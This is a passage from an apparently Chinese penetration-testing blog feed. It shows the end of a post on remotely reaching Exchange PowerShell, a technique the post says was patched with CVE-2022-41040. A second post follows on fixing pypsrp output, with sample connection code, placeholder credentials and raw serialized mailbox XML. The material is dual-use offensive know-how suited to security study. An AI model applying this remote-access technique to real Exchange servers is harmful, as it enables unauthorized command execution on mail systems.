N="AddToHistory"&gt;true&lt;/B&gt; &lt;Obj N="HostInfo" RefId="17"&gt;&lt;MS&gt; &lt;B N="_isHostNull"&gt;true&lt;/B&gt; &lt;B N="_isHostUINull"&gt;true&lt;/B&gt; &lt;B N="_isHostRawUINull"&gt;true&lt;/B&gt; &lt;B N="_useRunspaceHost"&gt;true&lt;/B&gt;&lt;/MS&gt; &lt;/Obj&gt; &lt;B N="IsNested"&gt;false&lt;/B&gt; &lt;/MS&gt;&lt;/Obj&gt;""".format(Cmdlet=Cmdlet, Argument=Argument) </code></pre></div></div> <p>结合以上细节后,我们可以得出最终的实现代码,代码执行结果如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-7/2-1.png" alt="Alt text" /></p> <h2 id="0x04-小结">0x04 小结</h2> <hr /> <p>本文介绍了远程访问Exchange Powershell的实现方法,优点是不依赖于域内主机上发起连接,该方法在CVE-2022–41040中被修复。</p> <hr /> <p><a href="https://github.com/3gstudent/feedback/issues/new">LEAVE A REPLY</a></p> Fri, 07 Oct 2022 00:00:00 +0000 https://3gstudent.github.io//%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AEExchange-Powershell https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E8%BF%9C%E7%A8%8B%E8%AE%BF%E9%97%AEExchange-Powershell pypsrp在Exchange Powershell下的优化 <h2 id="0x00-前言">0x00 前言</h2> <hr /> <p><a href="https://github.com/jborean93/pypsrp">pypsrp</a>是用于PowerShell远程协议(PSRP)服务的Python客户端。我在研究过程中,发现在Exchange Powershell下存在一些输出的问题,本文将要介绍研究过程,给出解决方法。</p> <h2 id="0x01-简介">0x01 简介</h2> <hr /> <ul> <li>Exchange PowerShell Remoting</li> <li>pypsrp的使用</li> <li>pypsrp存在的输出问题</li> <li>解决方法</li> </ul> <h2 id="0x02-exchange-powershell-remoting">0x02 Exchange PowerShell Remoting</h2> <hr /> <p>参考资料:</p> <p>https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps</p> <p>默认设置下,需要注意以下问题:</p> <ul> <li>所有域用户都可以连接Exchange PowerShell</li> <li>需要在域内主机上发起连接</li> <li>连接地址需要使用FQDN,不支持IP</li> </ul> <p>通过Powershell连接Exchange PowerShell的命令示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$User = "test\user1" $Pass = ConvertTo-SecureString -AsPlainText Password1 -Force $Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://exchangeserver.test.com/PowerShell/ -Authentication Kerberos -Credential $Credential Invoke-Command -Session $session -ScriptBlock {Get-Mailbox -Identity administrator} </code></pre></div></div> <p>通过<a href="https://github.com/jborean93/pypsrp">pypsrp</a>连接Exchange PowerShell的命令示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>from pypsrp.powershell import PowerShell, RunspacePool from pypsrp.wsman import WSMan host = 'exchangeserver.test.com' username='test\\user1' password='Password1' wsman = WSMan(server=host, username=username, password=password, port=80, path="PowerShell", ssl=False, auth="kerberos", cert_validation=False) with wsman, RunspacePool(wsman, configuration_name="Microsoft.Exchange") as pool: ps = PowerShell(pool) ps.add_cmdlet("Get-Mailbox").add_parameter("-Identity", "administrator") output = ps.invoke() print("[+] OUTPUT:\n%s" % "\n".join([str(s) for s in output])) </code></pre></div></div> <p>如果想要加入调试信息,可以添加以下代码:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>import logging logging.basicConfig(level=logging.DEBUG) </code></pre></div></div> <h2 id="0x03-pypsrp存在的输出问题">0x03 pypsrp存在的输出问题</h2> <hr /> <p>我们在Exchange PowerShell下执行命令的完整返回结果如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-1/2-1.png" alt="Alt text" /></p> <p>但是通过<a href="https://github.com/jborean93/pypsrp">pypsrp</a>连接Exchange PowerShell执行命令时,输出结果不完整,无法获得命令的完整信息,如下图</p> <p><img src="https://raw.githubusercontent.com/3gstudent/BlogPic/master/2022-10-1/2-2.png" alt="Alt text" /></p> <h2 id="0x04-解决方法">0x04 解决方法</h2> <hr /> <h3 id="1定位问题">1.定位问题</h3> <p>通过查看源码,定位到代码位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207</p> <p>我们可以在这里添加输出<code class="language-plaintext highlighter-rouge">message_data</code>的代码,代码示例:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>print(message_data) message_data = serializer.deserialize(message_data) print(message_data) </code></pre></div></div> <p>返回结果:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;Obj RefId="0"&gt;&lt;TN RefId="0"&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.Management.Mailbox&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.Management.MailEnabledOrgPerson&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.Management.MailEnabledRecipient&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.Management.ADPresentationObject&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.ADObject&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.ADRawEntry&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.ConfigurableObject&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;Administrator&lt;/ToString&gt;&lt;Props&gt;&lt;S N="Database"&gt;Ex2016-DB2&lt;/S&gt;&lt;Nil N="MailboxProvisioningConstraint" /&gt;&lt;Nil N="MailboxRegion" /&gt;&lt;Nil N="MailboxRegionLastUpdateTime" /&gt;&lt;B N="MessageCopyForSentAsEnabled"&gt;false&lt;/B&gt;&lt;B N="MessageCopyForSendOnBehalfEnabled"&gt;false&lt;/B&gt;&lt;Obj N="MailboxProvisioningPreferences" RefId="1"&gt;&lt;TN RefId="1"&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxProvisioningConstraint, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxProvisioningConstraint, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="UseDatabaseRetentionDefaults"&gt;true&lt;/B&gt;&lt;B N="RetainDeletedItemsUntilBackup"&gt;false&lt;/B&gt;&lt;B N="DeliverToMailboxAndForward"&gt;false&lt;/B&gt;&lt;B N="IsExcludedFromServingHierarchy"&gt;false&lt;/B&gt;&lt;B N="IsHierarchyReady"&gt;true&lt;/B&gt;&lt;B N="IsHierarchySyncEnabled"&gt;true&lt;/B&gt;&lt;B N="HasSnackyAppData"&gt;false&lt;/B&gt;&lt;B N="LitigationHoldEnabled"&gt;false&lt;/B&gt;&lt;B N="SingleItemRecoveryEnabled"&gt;false&lt;/B&gt;&lt;B N="RetentionHoldEnabled"&gt;false&lt;/B&gt;&lt;Nil N="EndDateForRetentionHold" /&gt;&lt;Nil N="StartDateForRetentionHold" /&gt;&lt;S N="RetentionComment"&gt;&lt;/S&gt;&lt;S N="RetentionUrl"&gt;&lt;/S&gt;&lt;Nil N="LitigationHoldDate" /&gt;&lt;S N="LitigationHoldOwner"&gt;&lt;/S&gt;&lt;B N="ElcProcessingDisabled"&gt;false&lt;/B&gt;&lt;B N="ComplianceTagHoldApplied"&gt;false&lt;/B&gt;&lt;B N="WasInactiveMailbox"&gt;false&lt;/B&gt;&lt;B N="DelayHoldApplied"&gt;false&lt;/B&gt;&lt;Nil N="InactiveMailboxRetireTime" /&gt;&lt;Nil N="OrphanSoftDeleteTrackingTime" /&gt;&lt;S N="LitigationHoldDuration"&gt;Unlimited&lt;/S&gt;&lt;Nil N="ManagedFolderMailboxPolicy" /&gt;&lt;Nil N="RetentionPolicy" /&gt;&lt;Nil N="AddressBookPolicy" /&gt;&lt;B N="CalendarRepairDisabled"&gt;false&lt;/B&gt;&lt;G N="ExchangeGuid"&gt;9b9387fe-e1b1-4695-97bd-b0a0bebe7ce2&lt;/G&gt;&lt;Nil N="MailboxContainerGuid" /&gt;&lt;Nil N="UnifiedMailbox" /&gt;&lt;Obj N="MailboxLocations" RefId="2"&gt;&lt;TN RefId="2"&gt;&lt;T&gt;System.Collections.Generic.List`1[[Microsoft.Exchange.Data.Directory.IMailboxLocationInfo, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;S&gt;1;9b9387fe-e1b1-4695-97bd-b0a0bebe7ce2;Primary;test.com;0f29ba80-17c3-4c51-9d94-d017c850e3be&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="AggregatedMailboxGuids" RefId="3"&gt;&lt;TN RefId="3"&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="ExchangeSecurityDescriptor"&gt;System.Security.AccessControl.RawSecurityDescriptor&lt;/S&gt;&lt;S N="ExchangeUserAccountControl"&gt;None&lt;/S&gt;&lt;S N="AdminDisplayVersion"&gt;Version 15.1 (Build 2507.6)&lt;/S&gt;&lt;B N="MessageTrackingReadStatusEnabled"&gt;true&lt;/B&gt;&lt;S N="ExternalOofOptions"&gt;External&lt;/S&gt;&lt;Nil N="ForwardingAddress" /&gt;&lt;Nil N="ForwardingSmtpAddress" /&gt;&lt;S N="RetainDeletedItemsFor"&gt;14.00:00:00&lt;/S&gt;&lt;B N="IsMailboxEnabled"&gt;true&lt;/B&gt;&lt;Obj N="Languages" RefId="4"&gt;&lt;TN RefId="4"&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[System.Globalization.CultureInfo, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;Obj RefId="5"&gt;&lt;TN RefId="5"&gt;&lt;T&gt;System.Globalization.CultureInfo&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;ToString&gt;en-US&lt;/ToString&gt;&lt;Props&gt;&lt;I32 N="LCID"&gt;1033&lt;/I32&gt;&lt;S N="Name"&gt;en-US&lt;/S&gt;&lt;S N="DisplayName"&gt;English (United States)&lt;/S&gt;&lt;S N="IetfLanguageTag"&gt;en-US&lt;/S&gt;&lt;S N="ThreeLetterISOLanguageName"&gt;eng&lt;/S&gt;&lt;S N="ThreeLetterWindowsLanguageName"&gt;ENU&lt;/S&gt;&lt;S N="TwoLetterISOLanguageName"&gt;en&lt;/S&gt;&lt;/Props&gt;&lt;/Obj&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Nil N="OfflineAddressBook" /&gt;&lt;S N="ProhibitSendQuota"&gt;Unlimited&lt;/S&gt;&lt;S N="ProhibitSendReceiveQuota"&gt;Unlimited&lt;/S&gt;&lt;S N="RecoverableItemsQuota"&gt;30 GB (32,212,254,720 bytes)&lt;/S&gt;&lt;S N="RecoverableItemsWarningQuota"&gt;20 GB (21,474,836,480 bytes)&lt;/S&gt;&lt;S N="CalendarLoggingQuota"&gt;6 GB (6,442,450,944 bytes)&lt;/S&gt;&lt;B N="DowngradeHighPriorityMessagesEnabled"&gt;false&lt;/B&gt;&lt;Obj N="ProtocolSettings" RefId="6"&gt;&lt;TN RefId="6"&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;S&gt;RemotePowerShell§1&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;S N="RecipientLimits"&gt;Unlimited&lt;/S&gt;&lt;B N="ImListMigrationCompleted"&gt;false&lt;/B&gt;&lt;Nil N="SiloName" /&gt;&lt;B N="IsResource"&gt;false&lt;/B&gt;&lt;B N="IsLinked"&gt;false&lt;/B&gt;&lt;B N="IsShared"&gt;false&lt;/B&gt;&lt;B N="IsRootPublicFolderMailbox"&gt;false&lt;/B&gt;&lt;S N="LinkedMasterAccount"&gt;&lt;/S&gt;&lt;B N="ResetPasswordOnNextLogon"&gt;false&lt;/B&gt;&lt;Nil N="ResourceCapacity" /&gt;&lt;Obj N="ResourceCustom" RefId="7"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Nil N="ResourceType" /&gt;&lt;Nil N="RoomMailboxAccountEnabled" /&gt;&lt;S N="SamAccountName"&gt;Administrator&lt;/S&gt;&lt;Nil N="SCLDeleteThreshold" /&gt;&lt;Nil N="SCLDeleteEnabled" /&gt;&lt;Nil N="SCLRejectThreshold" /&gt;&lt;Nil N="SCLRejectEnabled" /&gt;&lt;Nil N="SCLQuarantineThreshold" /&gt;&lt;Nil N="SCLQuarantineEnabled" /&gt;&lt;Nil N="SCLJunkThreshold" /&gt;&lt;Nil N="SCLJunkEnabled" /&gt;&lt;B N="AntispamBypassEnabled"&gt;false&lt;/B&gt;&lt;S N="ServerLegacyDN"&gt;/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Configuration/cn=Servers/cn=EXCHANGE02&lt;/S&gt;&lt;S N="ServerName"&gt;exchange02&lt;/S&gt;&lt;B N="UseDatabaseQuotaDefaults"&gt;true&lt;/B&gt;&lt;S N="IssueWarningQuota"&gt;Unlimited&lt;/S&gt;&lt;S N="RulesQuota"&gt;256 KB (262,144 bytes)&lt;/S&gt;&lt;S N="Office"&gt;&lt;/S&gt;&lt;S N="UserPrincipalName"&gt;[email protected]&lt;/S&gt;&lt;B N="UMEnabled"&gt;false&lt;/B&gt;&lt;Nil N="MaxSafeSenders" /&gt;&lt;Nil N="MaxBlockedSenders" /&gt;&lt;Nil N="NetID" /&gt;&lt;Nil N="ReconciliationId" /&gt;&lt;S N="WindowsLiveID"&gt;&lt;/S&gt;&lt;S N="MicrosoftOnlineServicesID"&gt;&lt;/S&gt;&lt;Nil N="ThrottlingPolicy" /&gt;&lt;S N="RoleAssignmentPolicy"&gt;Default Role Assignment Policy&lt;/S&gt;&lt;Nil N="DefaultPublicFolderMailbox" /&gt;&lt;Nil N="EffectivePublicFolderMailbox" /&gt;&lt;S N="SharingPolicy"&gt;Default Sharing Policy&lt;/S&gt;&lt;Nil N="RemoteAccountPolicy" /&gt;&lt;Nil N="MailboxPlan" /&gt;&lt;Nil N="ArchiveDatabase" /&gt;&lt;G N="ArchiveGuid"&gt;00000000-0000-0000-0000-000000000000&lt;/G&gt;&lt;Obj N="ArchiveName" RefId="8"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="JournalArchiveAddress"&gt;&lt;/S&gt;&lt;S N="ArchiveQuota"&gt;100 GB (107,374,182,400 bytes)&lt;/S&gt;&lt;S N="ArchiveWarningQuota"&gt;90 GB (96,636,764,160 bytes)&lt;/S&gt;&lt;Nil N="ArchiveDomain" /&gt;&lt;S N="ArchiveStatus"&gt;None&lt;/S&gt;&lt;S N="ArchiveState"&gt;None&lt;/S&gt;&lt;B N="AutoExpandingArchiveEnabled"&gt;false&lt;/B&gt;&lt;B N="DisabledMailboxLocations"&gt;false&lt;/B&gt;&lt;S N="RemoteRecipientType"&gt;None&lt;/S&gt;&lt;Nil N="DisabledArchiveDatabase" /&gt;&lt;G N="DisabledArchiveGuid"&gt;00000000-0000-0000-0000-000000000000&lt;/G&gt;&lt;Nil N="QueryBaseDN" /&gt;&lt;B N="QueryBaseDNRestrictionEnabled"&gt;false&lt;/B&gt;&lt;Nil N="MailboxMoveTargetMDB" /&gt;&lt;Nil N="MailboxMoveSourceMDB" /&gt;&lt;S N="MailboxMoveFlags"&gt;None&lt;/S&gt;&lt;S N="MailboxMoveRemoteHostName"&gt;&lt;/S&gt;&lt;S N="MailboxMoveBatchName"&gt;&lt;/S&gt;&lt;S N="MailboxMoveStatus"&gt;None&lt;/S&gt;&lt;S N="MailboxRelease"&gt;&lt;/S&gt;&lt;S N="ArchiveRelease"&gt;&lt;/S&gt;&lt;B N="IsPersonToPersonTextMessagingEnabled"&gt;false&lt;/B&gt;&lt;B N="IsMachineToPersonTextMessagingEnabled"&gt;true&lt;/B&gt;&lt;Obj N="UserSMimeCertificate" RefId="9"&gt;&lt;TN RefId="7"&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="UserCertificate" RefId="10"&gt;&lt;TNRef RefId="7" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="CalendarVersionStoreDisabled"&gt;false&lt;/B&gt;&lt;S N="ImmutableId"&gt;&lt;/S&gt;&lt;Obj N="PersistedCapabilities" RefId="11"&gt;&lt;TN RefId="8"&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.Capability, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.Capability, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Nil N="SKUAssigned" /&gt;&lt;B N="AuditEnabled"&gt;false&lt;/B&gt;&lt;S N="AuditLogAgeLimit"&gt;90.00:00:00&lt;/S&gt;&lt;Obj N="AuditAdmin" RefId="12"&gt;&lt;TN RefId="9"&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxAuditOperations, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.MailboxAuditOperations, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;S&gt;Update&lt;/S&gt;&lt;S&gt;Move&lt;/S&gt;&lt;S&gt;MoveToDeletedItems&lt;/S&gt;&lt;S&gt;SoftDelete&lt;/S&gt;&lt;S&gt;HardDelete&lt;/S&gt;&lt;S&gt;FolderBind&lt;/S&gt;&lt;S&gt;SendAs&lt;/S&gt;&lt;S&gt;SendOnBehalf&lt;/S&gt;&lt;S&gt;Create&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="AuditDelegate" RefId="13"&gt;&lt;TNRef RefId="9" /&gt;&lt;LST&gt;&lt;S&gt;Update&lt;/S&gt;&lt;S&gt;SoftDelete&lt;/S&gt;&lt;S&gt;HardDelete&lt;/S&gt;&lt;S&gt;SendAs&lt;/S&gt;&lt;S&gt;Create&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="AuditOwner" RefId="14"&gt;&lt;TNRef RefId="9" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;DT N="WhenMailboxCreated"&gt;2022-10-19T20:31:31-07:00&lt;/DT&gt;&lt;S N="SourceAnchor"&gt;&lt;/S&gt;&lt;Nil N="UsageLocation" /&gt;&lt;B N="IsSoftDeletedByRemove"&gt;false&lt;/B&gt;&lt;B N="IsSoftDeletedByDisable"&gt;false&lt;/B&gt;&lt;B N="IsInactiveMailbox"&gt;false&lt;/B&gt;&lt;B N="IncludeInGarbageCollection"&gt;false&lt;/B&gt;&lt;Nil N="WhenSoftDeleted" /&gt;&lt;Obj N="InPlaceHolds" RefId="15"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="GeneratedOfflineAddressBooks" RefId="16"&gt;&lt;TN RefId="10"&gt;&lt;T&gt;Microsoft.Exchange.Data.Directory.ADMultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.ADObjectId, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.Directory.ADObjectId, Microsoft.Exchange.Data.Directory, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="AccountDisabled"&gt;false&lt;/B&gt;&lt;Nil N="StsRefreshTokensValidFrom" /&gt;&lt;Nil N="DataEncryptionPolicy" /&gt;&lt;B N="DisableThrottling"&gt;false&lt;/B&gt;&lt;Obj N="Extensions" RefId="17"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="HasPicture"&gt;false&lt;/B&gt;&lt;B N="HasSpokenName"&gt;false&lt;/B&gt;&lt;B N="IsDirSynced"&gt;false&lt;/B&gt;&lt;Obj N="AcceptMessagesOnlyFrom" RefId="18"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="AcceptMessagesOnlyFromDLMembers" RefId="19"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="AcceptMessagesOnlyFromSendersOrMembers" RefId="20"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="AddressListMembership" RefId="21"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST&gt;&lt;S&gt;\Mailboxes(VLV)&lt;/S&gt;&lt;S&gt;\All Mailboxes(VLV)&lt;/S&gt;&lt;S&gt;\All Recipients(VLV)&lt;/S&gt;&lt;S&gt;\Default Global Address List&lt;/S&gt;&lt;S&gt;\All Users&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="AdministrativeUnits" RefId="22"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="Alias"&gt;Administrator&lt;/S&gt;&lt;Nil N="ArbitrationMailbox" /&gt;&lt;Obj N="BypassModerationFromSendersOrMembers" RefId="23"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="OrganizationalUnit"&gt;test.com/Users&lt;/S&gt;&lt;S N="CustomAttribute1"&gt;&lt;/S&gt;&lt;S N="CustomAttribute10"&gt;&lt;/S&gt;&lt;S N="CustomAttribute11"&gt;&lt;/S&gt;&lt;S N="CustomAttribute12"&gt;&lt;/S&gt;&lt;S N="CustomAttribute13"&gt;&lt;/S&gt;&lt;S N="CustomAttribute14"&gt;&lt;/S&gt;&lt;S N="CustomAttribute15"&gt;&lt;/S&gt;&lt;S N="CustomAttribute2"&gt;&lt;/S&gt;&lt;S N="CustomAttribute3"&gt;&lt;/S&gt;&lt;S N="CustomAttribute4"&gt;&lt;/S&gt;&lt;S N="CustomAttribute5"&gt;&lt;/S&gt;&lt;S N="CustomAttribute6"&gt;&lt;/S&gt;&lt;S N="CustomAttribute7"&gt;&lt;/S&gt;&lt;S N="CustomAttribute8"&gt;&lt;/S&gt;&lt;S N="CustomAttribute9"&gt;&lt;/S&gt;&lt;Obj N="ExtensionCustomAttribute1" RefId="24"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="ExtensionCustomAttribute2" RefId="25"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="ExtensionCustomAttribute3" RefId="26"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="ExtensionCustomAttribute4" RefId="27"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="ExtensionCustomAttribute5" RefId="28"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="DisplayName"&gt;Administrator&lt;/S&gt;&lt;Obj N="EmailAddresses" RefId="29"&gt;&lt;TN RefId="11"&gt;&lt;T&gt;Microsoft.Exchange.Data.ProxyAddressCollection&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.ProxyAddressBaseCollection`1[[Microsoft.Exchange.Data.ProxyAddress, Microsoft.Exchange.Data, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedProperty`1[[Microsoft.Exchange.Data.ProxyAddress, Microsoft.Exchange.Data, Version=15.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]&lt;/T&gt;&lt;T&gt;Microsoft.Exchange.Data.MultiValuedPropertyBase&lt;/T&gt;&lt;T&gt;System.Object&lt;/T&gt;&lt;/TN&gt;&lt;LST&gt;&lt;S&gt;SMTP:[email protected]&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="GrantSendOnBehalfTo" RefId="30"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;S N="ExternalDirectoryObjectId"&gt;&lt;/S&gt;&lt;B N="HiddenFromAddressListsEnabled"&gt;false&lt;/B&gt;&lt;Nil N="LastExchangeChangedTime" /&gt;&lt;S N="LegacyExchangeDN"&gt;/o=First Organization/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=d1ce5d43a9184ce3ba01e101a19d0a28-Admin&lt;/S&gt;&lt;S N="MaxSendSize"&gt;Unlimited&lt;/S&gt;&lt;S N="MaxReceiveSize"&gt;Unlimited&lt;/S&gt;&lt;Obj N="ModeratedBy" RefId="31"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="ModerationEnabled"&gt;false&lt;/B&gt;&lt;Obj N="PoliciesIncluded" RefId="32"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST&gt;&lt;S&gt;e1a339c9-ac14-4226-9cf8-6de2e2b48d6d&lt;/S&gt;&lt;S&gt;{26491cfc-9e50-4857-861b-0cb8df22b5d7}&lt;/S&gt;&lt;/LST&gt;&lt;/Obj&gt;&lt;Obj N="PoliciesExcluded" RefId="33"&gt;&lt;TNRef RefId="6" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="EmailAddressPolicyEnabled"&gt;true&lt;/B&gt;&lt;S N="PrimarySmtpAddress"&gt;[email protected]&lt;/S&gt;&lt;S N="RecipientType"&gt;UserMailbox&lt;/S&gt;&lt;S N="RecipientTypeDetails"&gt;UserMailbox&lt;/S&gt;&lt;Obj N="RejectMessagesFrom" RefId="34"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="RejectMessagesFromDLMembers" RefId="35"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;Obj N="RejectMessagesFromSendersOrMembers" RefId="36"&gt;&lt;TNRef RefId="10" /&gt;&lt;LST /&gt;&lt;/Obj&gt;&lt;B N="RequireSenderAuthenticationEnabled"&gt;false&lt;/B&gt;&lt;S N="SimpleDisplayName"&gt;&lt;/S&gt;&lt;S N="SendModerationNotifications"&gt;Always&lt;/S&gt;&lt;Obj N="UMDtmfMap" RefId="37"&gt;&lt;TNRef 